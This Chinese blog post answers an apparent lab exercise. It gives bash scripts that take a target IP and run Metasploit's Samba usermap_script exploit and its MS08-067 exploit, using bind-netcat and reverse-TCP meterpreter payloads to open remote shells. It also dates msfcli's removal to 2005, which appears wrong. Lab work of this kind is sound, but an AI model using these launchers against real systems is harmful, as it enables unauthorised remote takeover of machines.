Metasploit使用msfcli命令行接口编写shell脚本程序
程序员文章站
2022-03-24 08:37:04
...
问题描述
使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需输入目标Linux靶机IP地址作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。
解决办法
由于2005年时便取消了msfcli,因此使用msfconsole -x
来代替msfcli。
先提供脚本内容如下:
#!/bin/bash #表示使用Bourne Again Shell的shell类型
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP #提示用户输入IP并将该值赋值给变量IP
msfconsole -x "use exploit/multi/samba/usermap_script;\set PAYLOAD cmd/unix/bind_netcat;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"
将该脚本保存为为“test.sh”,并cd到该脚本文件目录:
chmod +x ./test.sh #使脚本具有执行权限 chmod -x 删除权限
./test.sh #执行脚本
注意,一定要写成 ./test.sh
,而不是 test.sh,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。
由于笔者在进行该部分实验时没配置其他Linux虚拟机,因此使用了漏洞ms08_067来完成对中文版Windows XP SP3的渗透攻击,此时shell内容更改为:
#!/bin/bash
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set PAYLOAD windows/meterpreter/reverse_tcp;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"
运行后得到如下结果:
解题思路
首先应该学习Shell脚本的语言规则,再利用该脚本进行编写。在编写msfconsole -x
的内容之前,应该首先使用msfconsole将命令运行一遍之后,观察是否成功,再进行命令的Shell编写。